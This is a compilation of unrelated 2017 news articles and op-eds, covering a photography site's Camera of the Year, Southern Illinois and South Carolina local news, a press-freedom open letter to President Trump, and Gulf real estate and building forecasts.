Trump and his advisors often publicly differ starkly on fundamental security issues from the Middle East to talks with North Korea.

But allies looking for clarity about the intentions of the world's pre-eminent economic and military power are likely to be confused by Trump's mixed messages.

Where the strategy warns Russia is using "subversive measures" to undermine "transatlantic unity," Trump again claimed that European allies were "delinquent" in paying for security "while we guarantee their safety and are willing to fight wars for them."

Where the strategy warned of Moscow's "destabilizing cyber capabilities" and interference in domestic political affairs, Trump made no such reference.

Since coming to office, Trump has worked to dismantle the legacy of his predecessor Barack Obama on issues ranging from climate change to free trade, sometimes leaving Washington isolated on the world stage.

On Monday, the United Nations Security Council overwhelmingly voted to approve a resolution to reject Trump's controversial recent decision to recognize Jerusalem as the capital of Israel-a move Washington blocked with its veto.

Trump's National Security Strategy also breaks with allies on the threat of climate change, avoiding the term outright and instead calling for "energy dominance."

"America's central position in the global energy system as a leading producer, consumer, and innovator-ensures that markets are free and US infrastructure is resilient and secure," it says.

Ascending to power on a message resolutely skeptical of climate change, Trump said in June that he would pull the US out of the Paris agreement on climate change signed by almost 200 countries.
One of the best cameras of the year was the Leica M10, and it vied hard for TOP's top award.

I've had an ambiguous relationship with Leica products over the years, but it's really only due to the fact that I persist in seeing Leica as a cameramaker, albeit a unique and different one, rather than as an object of either worship or derision. I've been accused of being a Leica lover (I think I coined the term "Leicaphilia" way back in 1992, or at least I made it more widespread), and of being a Leica hater. Such judgements usually reflect more about the accusers than about me. I stopped reviewing Leica cameras after I wrote a two-part review of the Leica M8 when it was new. It was a half-decent camera that a few people still like, but it was a bit of a Frankenstein, a replicant, and had some egregious flaws. An okay first try, but just not a terribly good camera, all things considered. The pent-up desire for a digital rangefinder and for the zombie resurrection of the fabled M was so great at the time that fanatics frantically climbed all over me and grabbed just about any stick that was handy to beat me with. Even in retrospect, though, I still stand by that review. I think I got it just about right...at least, if you, too, are able to consider Leica as just a cameramaker.

In investigating it, I suspect that, after continual improvements, Leica has now gotten the "digital M" just right. Boiled down, the M10 is the size right and has found the just-right mix of simplicity and functionality. Short of using it, which I haven't, I think it's fair to guess that if you're a fanif Leica is your "party"then this is the M that might be the biggest yes for you. Le pur sang.

But alas, given its somewhat pedestrian full-frame sensor (which DxO Labs says equals only the very best APS-C sensors) coupled with a breathtakingly high price, I just can't bring myself to give it the trophy, if I'm being my hard-headed self. Even if our award is just for fun and carries no particular weight. Even if the Leica faithful are head over heels about it. And even though, frankly, they are not wrong.

Kitchen patrol?

2017 was not a stellar year for all-new introductions, at least compared to 2016, which saw things like the Hasselblad and Fuji medium-format cameras and the Sigma Quattros. About the only significant new cameras for our typical readers were the Pentax KP (yet another awkward namein U.S. army slang, "KP" means "kitchen police" or "kitchen patrol," i.e., menial duty peeling potatoes or washing pots) and the Panasonic G9. Other very fine and much refined but (like the Leica M10) essentially derivative designs were the Nikon D850 and Fuji X-T2, either of which could wear the mantleif not for originality, then for overall excellence and superlative "greater than the sum of their improvements" functionality.

Of those, the Pentax KP is the camera of greatest note, and the one that is sliding undetected under most peoples' radar. On paper it's not the most feature-laden, and it has taken some hits for not being bestest and mostest in certain areas, meaning, it lacks the check-boxes that tend to reassure fastidious but insecure shoppers. On the other hand, it's the K-1 lite, and our readers love the K-1; it's geared toward amateurs and enthusiasts who shoot in a more of an art-photographer manner rather than a pro-photographer manner; and it steps neatly into Pentax's longstanding tradition of having about the best and most sensible handling and control layouts. And as you can see from the picture, it's weatherproof, too. The 2040mm seen in the illustration would be a splendid little lens for it, and it would be particularly sweet with the small primes Pentax is known for, such as the wonderful 35mm Macro that is still one of my favorites among the digital lenses I've used. (Although I used it as a normal, not as a macro.) It's true that it doesn't offer every little thing the competition offers, but it's a distinctive camera that offers things the competition doesn't, too. My advice on this one: don't let yourself be put off by the off-putting bits of the reviews. For the right photographer this could be much the right camera.

The winner please

Drum roll...and now for TOP's Camera of the Year 2017:

Way, way back at the dawn of the autofocus era (yeppers, sonny boys, that's how far I go back) I was told something that turned out to be very true. When a camera is popular enough that it spawns a family of variations, it signals an especially successful design. This applies to products outside of photography, too: consider that if Toyota's Prius brand were an entirely separate entity all on its own, it would rank high among the world's carmakers.

Nothing has illustrated the principle better in our field in recent years that the outstanding success of the Sony A7 series. It quickly multiplied to three variants, each targeted to different types of users, then began begetting generations as problems and consumer desires were were addressed. Sony has a nice habit of doing its best to put all its latest technology into new products unstintingly up and down the lineup as it becomes feasible, but now the line has gotten a new member as the superfast A9 takes direct aim at professionalsthe A9 could be thought of as the "A7III" except that an essential quality of the middle-of-the-road A7 and A7II models is reasonable cost. (The A7II is only $1,298 right now, well under many APS-C and even Micro 4/3 models.) Good for Sony for not ending that tradition.

The A7R enticed many photographers into its corner on arrival (buyers and admirers), and it only got better with the much revamped and improved A7RII. The new A7RIII is not only the best A7 model yet, at least for generalist stills photographers, it's arguably the best general-purpose stills camera Sony has ever made. Ten frames per second, 42.4 megapixels, an "overkill" pixel-shift mode for super-high resolution architectural, still-life, and copy shooting, excellent eye-focus tracking for portraiture, USB-C for tethering and 4K HDR videoand of course that it's a superlative landscape, nature, and general-purpose camera goes without saying.

And Sony really gets high marks for stepping up its lens program, something it received criticism for in the past. The A7RIII would be mainly frustrating if there were no lenses capable of exploiting its abilities. Those lenses exist now, and many of them are getting very high marks from reviewers.

In a year of "Mark X" iterations and refinements of existing models and no truly compelling new models to sweep the field (the G9 being still too new to know), the Sony A7RIII in our opinion noses ahead of formidable rivals at the finish line as the best all-around high-end camera released this year.

The Editors



Original contents copyright 2017 by Michael C. Johnston and/or the bylined author. All Rights Reserved. Links in this post may be to our affiliates; sales through affiliate links may benefit this site.

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(To see all the comments, click on the "Comments" link below.)

Featured Comments from:

Arg: "I thought KP meant 'keep peeling!'"

Mike replies: Maybe it means "keeper pictures."

Stephen Scharf (partial comment): "In my view, for a camera to be in considered for 'Camera of the Year,' it has to be in the calendar year in which the camera actually goes into production becomes availble for sale. Neither the Hassy X1D or Fujifilm GFX 50S can be considered 2016 cameras because, while they were announced in 2016, they were very much still in development, and did not ship for sale until 2017. This means they are 2017 cameras, not 2016 cameras. I also find it your choice ironic given that you just posted the week before last how very few cameras are being made today that allowed photographers to do 'good work' rather than meeting manufacturer's sales goals. Yet, your choice falls exactly into the latter category. For me, the answer is clear: The Fujifilm GFX50S is easily the Camera of the Year for 2017 because of how much ground it broke, the paradigms it rewrote, and the magnitude of impact it had on the camera industry and photographic community as a whole."

[For the complete text of "partial comments," please see the Comments section. Ed.]

Ken Tanaka: "Good choice, Mike. Perhaps the only logical choice. As Ive noted in a recent comment, the Sony A7R Mark III has completely taken my breath away, even after having used the A7R camera line since its first model. It truly represents the kind of incremental design and engineering refinement thats brought it extremely close to perfection in my book. And the Sony FE lens line has left me wanting for nothing as of this year. Its also appropriate to give an honorable mention the Leica M10. Yup, its probably about as good a digital photographic fountain pen as Leica can make the M line, and it will likely be my final M. But while it is not my most frequently used camera I am delighted to have it and I do very much enjoy using it when practical. I would not characterize myself as a Leica 'fan boy' but I do very much appreciate the refinements that Leica has made to this camera to reach the M10. It's the only truly hand-crafted digital camera. Silly? A little clunky? Uber-costly? Absolutely. But lovely to use. My own honorable mentions would absolutely include Fujifilms GFX 50S. It represents a bold but very thoughtful initiative by Fujifilm to expand their line. It may not be as stylish of a design as Hasselblad's equally bold new H1D but it's a better, more usable, and more versatile camera and system than the H1D."

Kodachromeguy: "Mike, I agree with you that Pentax is the understated gem in the world of a hundred models of wiz-bang digital cameras that all sort of do the same thing. But my pick for No. 1 is the Leica M10 for three reasons: 1.) The shape of the M body is familiar and comfortablejust like an M3 from 1954. 2.) It is different and simpler than the standard super-featured cluttered digital camera. 3.) The photographers on DPReview despise it, and when the crowd hates or loves something, it is usually wise to do/buy exactly the opposite."

FraserGJB: "I worked as a KPKitchen Porterevery weekend for a couple of years. Rinsing plates and loading-up the dishwasher in a hotel restaurant, listening to cheap piped-in execrable covers of contemporary hit songs. Steam, sauce concentrates and bright lights. The horror."

Mike replies: It's not every kitchen porter who can quote Kurtz. :-)

Eric Brody: "I like your choice for 'camera of the year.' I actually own one along with some of the slightly bulky but optically superb new lenses. In the digital era, I am a former Nikon full frame then Fuji APS-C shooter who is enjoying the return to full frame. After my experience with the Fuji, I fell in love with the EVF and all it can do and grew to dislike the mirror with its need to focus-adjust lenses. The image quality and detail of the A7RIII are not to be believed.

"I got great results from my X-T2. It is hard to distinguish differences in small prints between the Fuji and the Sony but Im happy. The menus are complex but with the customizable menus and buttons Ive almost got it fully set up after only two weeks.

"I rented, loved, and almost bought the GFX 50S but when I did the math around size and cost, and realized I could have almost two Sony (or Nikon D850) bodies for the cost of one GFX, I made my decision. I agree with Stephen Scharf that the GFX is a strong candidate. The GFX is remarkable for image quality, handling, for its size, and overall operational feel. I also realize that it is a medium format 'bargain.' But comparing it to the obscene prices of the Phase One and full-sized Hasselblad cameras is irrelevant in my view.

"I hate to mention money, but financially everything is relative to one's own situation. Im better off than most and worse off than some, definitely not a 1%-er. Im jealous of those who seem to be able to afford and who also seem to buy each new high-end camera. I am certain some are jealous of me to be able to afford the gear that I do have. The Sony and Nikon seem to hit a spot where the image quality-price equation is rightfor me. I can use the Sony for the landscape and nature where my true photographic heart lies, and also for my busy three-year-old grandson. Not many cameras can do as many things as well as the Sony."
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HERRIN  Children staying at Williamson County Family Crisis Center in Herrin will sleep a little easier tonight, thanks to a donation from the Poshard Foundation for Abused Children. The Poshard Foundation donated six new beds to the center.

Peggy Russell, executive director of the Family Crisis Center, said children need a safe, consistent place to sleep at night to be able to relax and concentrate at school.

The new beds replaced six twin beds that were broken and in bad shape.

Everyone needs security and needs to know whats going to happen next, Russell said. They dont have to take all their stuff and leave every morning, and come back with not knowing if they will have a bed.

She added that several popular movies have shown that type of shelter, but that is not what the Family Crisis Center does. Each family has a room or two where their belongings can stay.

Russell said most of the families they serve have lost housing because of a broken relationship or loss of income. Adults have probably been sleeping on a friend or family members couch, with children sleeping on the floor. Some have been sleeping in their cars or tents.

This is a huge problem in Southern Illinois, Glenn Poshard said.

If we didnt have beds, we couldnt help anyone, Russell said.

Jo Poshard said the Poshard Foundation began purchasing beds at the request of case workers in 2010. They have purchased about 500 beds for children since that time.

"The beds we purchase are because we have heard about the need from advocates who work with children, but what about the children we dont know about? Jo Poshard said.

Glenn Poshard said they see a lot of children whose parents are in their late 20s and 30s who are hooked on methamphetamine and abandon their children. The children live with a relative or end up in foster care.

Its a big issue across the area, he said. This is America. We shouldnt have any children sleeping on the floor.

Besides drugs, the rates of child abuse and abandonment is 2 to 2.5 times greater in Southern Illinois than in other areas of the state.

Its not a crisis," Glenn Poshard said, "its an epidemic."

In addition to the Poshards, the Poshard Foundation was represented by Frances Gilliam, treasurer of the foundation.

The Family Crisis Center was established in 1985 as a way to keep families together, Russell said. The original building was a house in Whiteash. Russell noted that before that time, young men were not allowed in shelters for women and children.

The center quickly outgrew the three-bedroom home in Whiteash. They received a former boarding house as a donation, and moved it to its current location at 514 N. 18th St. in Herrin. The center has eight rooms and can house up to 18 adults and children, not including children in toddler beds and pack and play infant beds.

Gilliam said the center does accept donations; however, they cannot take large amounts of clothing or furniture. They do accept large size clothing for men and women, general cleaning supplies like paper towels or toilet paper, and personal hygiene items. They always accept cash, checks and other financial donations.

For more information or to donate, call 618-988-8020.
MURPHYSBORO  On her classroom smart board, Murphysboro High School teacher Stacie Tefft traced the dark line, running west to east, through some Southern Illinois counties.

The line marked the path that thousands of Cherokee men, women and children walked after they were forced to leave their ancestral homes headed some place west of the Mississippi River. The outlines of huts and fires  indicating trading posts or campsites at which some Cherokee might have stopped  were also visible along the line on the map.

Those notations are from the journal entries of a missionary minister who traveled with the Cherokee, cited from research done by Tefft and a colleague, Rachel Bottje Chamness. The two Murphysboro High School teachers completed the curriculum project, documenting the Trail of Tears through Southern Illinois, as part of master's class work at Southern Illinois University Carbondale.

Their curriculum work was honored Monday by members of the Trail of Tears Association, whose representatives presented each educator with a certificate and a stipend check. Funding for the stipend came from the Joe Crabb Memorial Fund, created in honor of Crabb, a former member of the Trail of Tears Association and Pope County historian who died in December 2015.

"For a lot of our kids, we give them a history book, and they're like whatever," Tefft said. "This  it's a lot of our kids' backyard."

"And it's their history  some of them, this is some of their ancestry," Chamness said.

Their work

The teachers' curriculum integrates work from the 1838-1839 journal of Daniel Butrick, a minister who traveled with the Cherokee across Southern Illinois, with a Geographic Information System (or GIS) map that notes the locations of the Cherokees' campsites along the trail. The curriculum and map are available online at https://tinyurl.com/SIUEWETrailOfTears.

The trail, Tefft noted, forked through Pope, Johnson and Union counties.

The curriculum project developed from master's level work the women were pursuing and was part of a collaboration with SIU's Department of Curriculum and Instruction, Center for Archaeological Investigations and the Trail Of Tears Association, said SIU professor Grant Miller.

Those involved with the curriculum development noted that it involves students on many levels and is not memorization and recitation of history facts.

"This is good for our diverse learners, too, because it's hands-on," Tefft said. "It's not a book, and it's in their backyard, especially a lot of our populations from The Bottoms, and that demographic relates to this.

"It means something to them, and they relate to it and they get into it. It's not reading a history book, or someone's version of history. They're coming up with their opinion of what happened from different sources."

The women's work grew out of their master's level classes at Southern Illinois University, their professor, Miller, said.

Work applauded

For years, members of the Trail of Tears Association had hoped some educators might develop a curriculum for teaching about the Trail of Tears in Southern Illinois, Sandra Boaz, president of the Illinois Chapter of the National Trail of Tears, said after the award presentation.

The name for the trail reportedly came from a Choctaw leader who told an Alabama newspaper that the forced removal was a trail of tears and death," according to history.com.

"(We) would like to say 'thank you' for your hard work  Dr. (Grant) Miller, Rachel and Stacie," Harvey Henson, treasurer of the Trail of Tears Association and an SIU professor, told the three on Monday. "You have helped us accomplish something that is very important to the mission of the Trail of Tears, and that is to educate the local Southern Illinois region, especially our students, on the importance of this significant historical event, and its relevance, even today."

Those involved with the project explained it on Monday.

The Library of Congress funded the project, and its curriculum can be used and accessed across the nation, Miller said.

"What's so exciting about this is this really gets into the kinds of literacy skills that we're asking history teachers to be teaching with their students, as far as analyzing primary sources, comparing those primary sources to maps, as you have here," he said. "It's pretty exciting  even on the new SAT, the PARCC exam the middle school students are taking, so this is not just memorization of names and dates "

For Boaz, it was an assignment finally completed.

"It's been a dream for 13 years," Boaz said. "To see it reach its culmination, we're very excited."
CAIRO  During a visit to Cairo on Saturday that included a number of stops, Gov. Bruce Rauner also paid a visit to Shear Perfect barbershop to meet with Landus Jackson.

Jackson was the first inmate to walk out of a correctional institution in recent years with a cosmetology license in hand. Jackson left Vienna Correctional Center in October 2016 after serving an eight and a half year sentence for drug-related crimes. Because he was able to receive his cosmetology license before exiting prison, Jackson began work almost immediately after returning home.

Licensed to work: Former inmate granted cosmetology license as he exits Vienna prison doors VIENNA  At 40 years old, Landus Jackson walked out of Vienna Correctional Center on Tuesday morning wearing street clothes and a smile after 

Rauners administration, both the Illinois Department of Corrections and Illinois Department of Corrections and Illinois Department of Financial and Professional Regulation, worked to remove barriers that previously required ex-inmates enrolled in career programs behind bars to wait until after they reentered society to complete the licensure process.

Because of the hoops people had to jump through, some gave up on the process they had worked toward on the inside because of the challenges they faced on the outside.

Everybody deserves a second chance. If you want to work hard and have a good life, you deserve a second chance, the governor said.

Just out of prison, Cairo brothers lean on each other as they cut a new path forward CAIRO  Landus Jackson feels at home cutting hair behind the bright red chair in the booth he rents at Shear Perfect salon in Cairo.

Yes you do, Jackson agreed, never stopping from working the head of hair on the client in his chair. Several others were lined up for a cut. Jackson told the governor that the change gives inmates hope for being able to quickly land on their feet after serving their time.

According to Nicole Wilson, a spokeswoman for Rauner, nine former inmates have left an IDOC facility with their cosmetology license in hand since the change was made last year. Three are awaiting review, and an additional seven inmates will be eligible in 2018.
CARBONDALE  The incoming director of the Southern Illinois University Paul Simon Public Policy Institute says he hopes to magnify the institutes visibility across the country while finding ways to foster statesmanship in the political sphere.

Appearing before reporters Monday morning inside the institute on the SIUC campus, journalist and author John T. Shaw outlined his priorities as leader of the non-partisan public service center.

SIUC Chancellor Carlo Montemagno welcomed Shaw and commended him for undergoing a grueling national search, which was chaired by visiting professor John Jackson.

Its strong testimony to his quality, his knowledge and his ability that he was selected for this incredible position, Montemagno said.

Originally from Peoria, Shaw earned his bachelors degree in political science from Knox College in Galesburg and his masters in history from the University of New South Wales in Sydney, Australia. He began his career as an executive fellow for Illinois Gov. James R. Thompson in Springfield.

Throughout his childhood in Peoria, Shaw said, Paul Simon was a large and compelling figure, who combined civility and substance, big-picture interests and laser-focused intrigue with local and state government.

Like all his predecessors at the institute, Shaw is an esteemed journalist: He covered congressional politics for the global news service Market News International for 26 years and served as a contributing writer for the monthly magazine The Washington Diplomat for the past 20 years.

I think the one thing that a journalist brings is just a curiosity, an ability to ask questions to try to understand how things work, and as I look at the first couple weeks, I especially want to spend time talking to people who built this institute and trying to understand why programs were created, and what their initial mission was and how maybe theyve evolved over time and how they can be strengthened and sharpened, Shaw said.

Shaw has authored five books, including Richard G. Lugar: Statesman of the Senate and JFK in the Senate: Pathway to the Presidency.

As for his agenda, Shaw said he hopes to honor the institutes roots in Southern Illinois but also expand its work on the national level. He highlighted the possibility of establishing a statesmanship initiative.

The essence would be to educate and to honor and to focus on statesmanship, on leadership that is both strong and visionary. I want to find ways to explore successful statesmen, both at the state level  as well as on a Washington level, Shaw said.

Shaw said he intends to draw international leaders to SIUC to give public remarks, offering them a view of American life beyond the Beltway. He also hopes to develop partnerships with other congressional research institutes to give the public service center more of a national profile, and he plans to teach a course on political journalism.

Asked how he has seen technology and social media shape journalism over the course of his career, Shaw said there is an increased emphasis on conflict.

I do think that one of the problems of modern journalism is that there is such a battle for listeners, viewers, clicks, et cetera, that there is this focus on conflict that I think is distorting, Shaw said. I think it wears down the citizens, it makes everyone just sort of say, What difference does it make? So thats why I think an institute like this can focus on constructive solutions, perhaps bring people together from different parties to work on problems, look at issues and  also send the public a message that its not all trench warfare 24/7.

Shaw replaces David Yepsen, who retired in 2016. Jak Tichenor has been serving as interim director since that time.

Shaws appointment was approved Dec. 14 by the SIU Board of Trustees. He will begin his duties Jan. 16.
Cox Industries, the Orangeburg maker of treated wood products, announced Monday it is selling its residential lumber division assets.

Cox is selling the division to Virginia-based Culpeper Wood Preservers, a wood treater with a similar focus on residential lumber.

Included in the sale are Cox manufacturing plants located in Orangeburg and Branchville, as well as plants in Coleridge and Cove City, North Carolina.

The transition of the Cox residential business to Culpeper is expected to be complete by the end of the year.

"Culpeper will continue to manufacture residential products at both the Orangeburg and Branchville plants and the same Cox employees will continue to be responsible for their manufacture," Cox Industries Vice President of Marketing Keith Harris said.

"The sign will change, but the plants will continue to manufacture as they do today for products under the Cox and Culpeper brands, Harris said.

The Orangeburg and Branchville plants employ 125. No employees are expected to lose their jobs as the plants change ownership.

"Whether it be a plant employee or sales personnel, Culpeper and Cox want this to be a seamless transition for current Cox employees as well as Cox residential customers," Harris said.

Both the Orangeburg and Branchville facilities make residential products such as decking, exterior trim and laminated box columns.

Cox CEO Mikee Johnson foresees opportunities for the employees.

"The residential division of Cox represents a significant part of our companys legacy, so it was extremely important that any transaction we entered into was done with a company that shares the same foundational values as us," he said.

Johnson says the change will help create an industry powerhouse, with manufacturing facilities and customers that stretch throughout the Eastern and Midwestern states.

"Both companies have seen growth in their business due largely to a resurgence in the home-building industry," Harris said. "The combination of Culpeper and Cox treating companies is driven by new opportunities for the combined entity due to increased scale, not market decline."

Cox will retain its corporate headquarters in Orangeburg to oversee its industrial division. The industrial division predominately manufactures and sells utility poles and marine pilings.

Harris said, this sale will allow Cox the opportunity to focus their resources on the utility pole and marine piling markets where they are a national leader."

Cox currently has industrial plants in North and in Eutawville. The company has a total of ten industrial plants nationally.

The transaction doesnt affect the company's industrial plants, Harris said.

The company will use proceeds from the sale of its residential division to grow and diversify its industrial division.

Within only a few years, our industrial division has grown to become one of the largest providers of utility poles in the United States, with a customer base that now extends from coast to coast," Johnson said.
A solar company plans to invest $115 million in the construction of a 75-megawatt solar farm in Orangeburg County.

Cypress Creek Renewables facility will be located on 550 acres near Bowman on S.C. Highway 210.

"Cypress Creek is committed to helping grow the economies of local communities by providing renewable energy for homes and businesses," Cypress Creek Renewables Executive Vice President of Operations Jaime Carlson said in a press release.

"Clean energy is an important strategy towards building energy independence in the United States, Carlson said.

No new jobs are being promised with the investment, although there will be employment related to the ongoing operation of the facility. The investment is related to machinery and equipment.

The solar farm will be complete by the summer of 2019.

"We welcome Cypress Creek Renewables to Bowman," Orangeburg County Council Chairman Johnnie Wright Sr. said in the release.

"We welcome sustainable energy to our county. Thank you for your investment in our community. We are grateful, he said.

The county has authorized incentives for the project, such as the fee-in-lieu of taxes incentive. The project is also part of the multi-county industrial park, which is a mechanism designed to provide an industry with additional incentives. There is no physical park.

The company will lease the land from a private landowner.

The power will be sold to South Carolina Electric & Gas and will be able to help the utility serve customers during periods of high demand.

The project received praise statewide.

"Any time a company invests in South Carolina, it's a sign of the state's strong economy," Gov. Henry McMaster said. "But when a company from a new and innovative industry like solar decides to do business here, it shows that we have the tools in place to maintain and grow our economy in the long run."

Secretary of Commerce Bobby Hitt said, "The growing renewable energy market in South Carolina continues to revolutionize our economy.

"Cypress Creek Renewables has become a dependable member of Team South Carolina, and we congratulate them on this new $115 million investment."

It is the second solar farm project announced by Cypress Creek Renewables in The T&D Region.

In 2015, the company announced its plans to invest $34 million in Calhoun County with three separate solar projects. The company later expanded its investment projection to $50 million.

As part of that project, the company put a 10-megawatt solar farm north of St. Matthews as well as a 20-megawatt and a four-megawatt facility off of Cameron Road

"The company's continued investment within the Central S.C. region in recent years is providing a surge in alternative energy resources for local industry, Central S.C. Alliance Chairman Mike Brenan said.

Several solar announcements have been made in Orangeburg County in the past two years.

Overall, five solar farms have announced $298.6 million of investment, providing 310 megawatts of power on 1,833 acres in the county.

Orangeburg County Development Commission Executive Director Gregg Robinson said currently the county has three more solar projects on our books.

Robinson declined comment on the project specifics.

He said the county is a good location for such projects.

"We are relatively flat and we have good, large tracts of property that have solid transmission," Robinson said. "We are a keystone county, meaning there are eight other counties touching us.

Logistically we are very advantageous. We have large open tracts of property that can go under long-term leases."
Mr. President, one of the things you should know, as your first tumultuous year in office draws to its close, is that the United States has the best media in the world. Only United Kingdom media rivals it.

It is a bulwark of the American Dream, of American exceptionalism. Its role as the carrier of information in the United States is as important as it is outside the nation.

That is why your Situation Room in the White House has so many news feeds.

Often, despite the huge apparatus of government information gathering, it is reporters who tell it like it is first and give you actionable information. It is because of the media that we know what is going on in Myanmar, Syria, Yemen and Zimbabwe  even inside the royal family of Saudi Arabia.

I would have the temerity suggest that even you, despite your seemingly pathological hatred of all information that does not accord with your own views, and your administration in times of crisis turn first to the media, and especially to outlets like The New York Times and CNN. In your heart of hearts, you know you are going to find out what is happening there, not on the political networks like Fox, One America News and Newsmax, and not through governments cumbersome channels of information relay.

Mr. President, we are an irregular army of no-particular hue. We wear no uniform and are the antithesis of unity. We live in a world of miserable pay (the television stars are the exceptions), bad hours, stress, sometimes too much drink, and disrupted private lives. We write about everyones hurt but our own. But we love what we do and know when it matters; matters globally as much as domestically.

Dan Raviv, when he was with CBS, described his job his way, I like to find out whats going on and tell people. Exactly.

For all the academic talk about media and society, that is the job  finding out  and it is a great and important job. That is why thousands of news people work through the night, or crawl out of bed at 3 a.m., or risk their lives in places like Iraq, Syria and Congo, and will be working on Christmas Day and every other holiday. That is why we eat bad food out of machines, fly in cramped aircraft and go without sleep.

So journalists do not mind personally if you denigrate us, call our work fake and impugn our integrity or have your agent, press secretary Sarah Sanders, do so.

But, Mr. President, we do mind and we should mind, and we should be in a state of incandescent rage with the way you are damaging the truth and hurting America at home and, especially, abroad. We do mind and should mind and keep minding when you put journalists lives at risk in distant and hostile places.

And we should mind, and you should mind, when you and Sanders give aid and comfort to criminal coddlers, dictators, kleptocratic governments and oppressive regimes.

This scum, these men and women who trash decency as the inherent right of power, now fear the scrutiny of media less. They dismiss the incriminating as fake. It happens in Ankara, Beijing, Budapest, Damascus, Moscow, Nairobi, Riyadh and many other places.

You have provided the worlds malfeasants with the great blanket rejoinder: fake.

Everything not laudatory to the abusers is fake and the messengers, the journalists, trade in untruth and should be treated accordingly  as concoctors, fabricators, liars, spies and even traitors.

Mr. President, you have damaged the worlds safety valve and given huge comfort to the enemies of decency, openness and democracy.

You have armed the dictators with a pernicious weapon by undermining the freedom of the press to find out what is going on and publish it. You have spread the suffering of the political prisoner in distant jails and all who are suffering the brutality of oppression. Their hope is often only the faint light cast by inquiring media.

A great shame on you, Mr. President.
As a member of Lexington County Council representing Council District 3, when I campaigned for my seat, one of my campaign platforms was, "Trash Free, District Three!" So to say that I have an interest in the appearance of our county is an understatement.

I have worked hard to improve our county's relationship with our local beautification councils. I am an advocate for organizations that share this mission and supply the boots on the ground to help Lexington County rid the unsightly blight, organizations like Keep the Midlands Beautiful.

Lexington County contributes funds to Keep the Midlands Beautiful and they grow that contribution through grants from private donations, volunteer hours, fundraisings and grants from Palmetto Pride. Palmetto Pride is the state-level organization and state affiliate of Keep America Beautiful and Keep the Midlands Beautiful is a local affiliate of Keep America Beautiful. Keep the Midlands Beautiful is able to turn our county's contribution of $27,000 into $604,800 through efforts to find other sources of money to benefit our county.

The state organization, Palmetto Pride, receives the majority of its funding from the State of South Carolina through fines and fees assessed through the courts. Palmetto Pride's mission is to, "Eradicate litter and promote beautification in South Carolina." However, it is falling short of that goal.

As the state-level affiliate of Keep America Beautiful, Palmetto Pride should be a pass-through that supports the local affiliates of Keep America Beautiful throughout South Carolina and taking the money that is sent to them from the state and giving it to the local chapters to enable them to support their local communities. Instead, Palmetto Pride is keeping the money for itself, with a current balance in their savings account of more than $6 million.

If Keep the Midlands Beautiful can turn a contribution of$27,000 into $604,800 for Lexington County, how much more could they do with just a portion of the $6 million that Palmetto Pride has on hand? According to Palmetto Pride's 990 2015 filing, they spend $3 million a year on advertising, operations and grants. But their own numbers show that they are spending less than 18 percent of that money on grants to local affiliates and over 33 percent on advertising. I am not sure how much litter a billboard or radio commercial is picking up, but I know the volunteer numbers that Palmetto Pride puts out each year are collected from statewide affiliates, NOT FROM THEIR OWN EFFORTS. This seems to me like a waste of money.

We, in Lexington County, are known for our fiscal conservatism. If I can get a better return on my investment through an increased contribution of state resources that have been given to a parent organization that I support, shouldn't I do that? Why is Palmetto Pride holding $6 million in an interest-earning savings account that could be used to eradicate litter and promote beautification in Lexington County? I would like to ask the governor, the Senate, and the House to look into the true numbers of this organization.
The prime residential market Dubai is expected to see modest growth of one per cent in 2018, according to leading real estate industry expert Knight Frank.



In a new research note, Knight Frank pointed out that Dubai is expected to see a return to growth in 2018, after weaker performance during the recent market cycle.



Government investment in the economy and infrastructure ahead of Expo 2020 are helping to attract more employment, driving demand higher, it said.



The 2018 forecast report, which covered 13 cities, said Paris, a market that has struggled to see strong price growth in recent years, is benefiting from the improved economic outlook for the Eurozone.



The French capital is also back on the radar of global investors, in particular, those from the US, the Middle East, and Europe, and expects to see healthy price growth next year, perhaps up to 9 per cent.



According to forecasts, Singapore (five per cent) and Geneva (three per cent) could prove 2018s most improved markets. Singapores luxury residential market, in the doldrums for several years, is expected to shift up a gear in 2018 as market sentiment improves.



Geneva, off-limits for non-resident buyers, offers safety, privacy and unrivalled schools putting it high on the list of wealthy families looking to relocate.



Hong Kong, with ongoing demand from mainland China is likely to post the strongest growth of major Asian urban markets during 2018 with a seven per cent rise by the year-end.



In central London, Knight Frank expects prime prices to rise marginally by 0.5 per cent in 2018, with cumulative price growth over the next five years reaching 13.1 per cent. While Londons fortunes will continue to be buffeted by taxation and the outlook for the pound, Brexit  and its impact on employment will be the overriding issue to watch.



In North America, Los Angeles is likely to see a continuation of growth (three per cent next year) reflective of a supply and demand imbalance. The prime markets in both New York and Miami are still seeing the impact of higher inventory volume and are likely to replicate Londons largely flat price performance in 2018.



Vancouver is the only city which is expected to see prime residential prices to soften in 2018 but even here the decline is marginal at 2.5 per cent. The introduction of a foreign buyer tax in 2016 along with tighter capital controls in China have influenced demand. - TradeArabia News Service
With 2017 in the rear-view mirror, its time for the building industry to set its sights on the year ahead.

Whilst still challenging, the last 12 months have definitely seen an uptick in the market as regional governments and the private sector have adapted to the new paradigm of lower oil prices and set in place strategies and programmes that provide a more economically sustainable development pathway, said Saeed Al Abbar, the managing director at AESG, one of the regions largest specialist consultancies.



As a result of these programmes, the coming year holds much promise for the industry particularly for those well placed to capitalise on the new trends in the market.



Despite this, the lower levels of liquidity in the market is certainly driving regional government and private developers to be very strategic with their investment decisions, it stated.



Off the back of the historic Paris Climate Change Agreement in 2015, the world is beginning to set in place a clear roadmap for decarbonising the global economy.



"Buildings, which account for over 40 per cent of global carbon emissions, form the frontline of the fight against climate change and in order to reach the objectives of the Paris agreement, we need to reach a point where the building stock is net zero by 2050" stated Al Abbar.



With regional governments being signatories to the Paris Agreement, the building industry will be faced with the challenge of adapting to this requirement. Those that act now will have a significant competitive advantage once such targets make their way into regional building codes and regulations  something that has already commenced in Europe, he stated.



"While the adage you cant get something for nothing generally holds true, we are now at a stage where near-zero energy buildings are a reality and can be made possible through cost-effective means. The interest is clear. In fact, even though reaching a point of net-zero is slightly more challenging, it too is gradually becoming more main stream and there are several upcoming projects that have set net-zero targets. We are currently even working with a number of developers that have set near zero and even net zero energy targets on their projects," he added.



Given the number of high profile facade fires globally and regionally, fire safety for facades has been a focal point for the industry, and is vital for developers to manage their liability and safeguard their investments.



Al Abbar said by now, all countries in the Middle East have well established fire codes that are continuously updated and enhanced.



"It will become increasingly necessary for fire and life safety teams to work together with facade teams to ensure that the facade designs themselves are developed following best practices for fire safety," he stated.



In addition to these efforts put into new developments, it is the maintenance and operation of existing fire safety systems that will largely impact the efforts to reduce fire related incidents.



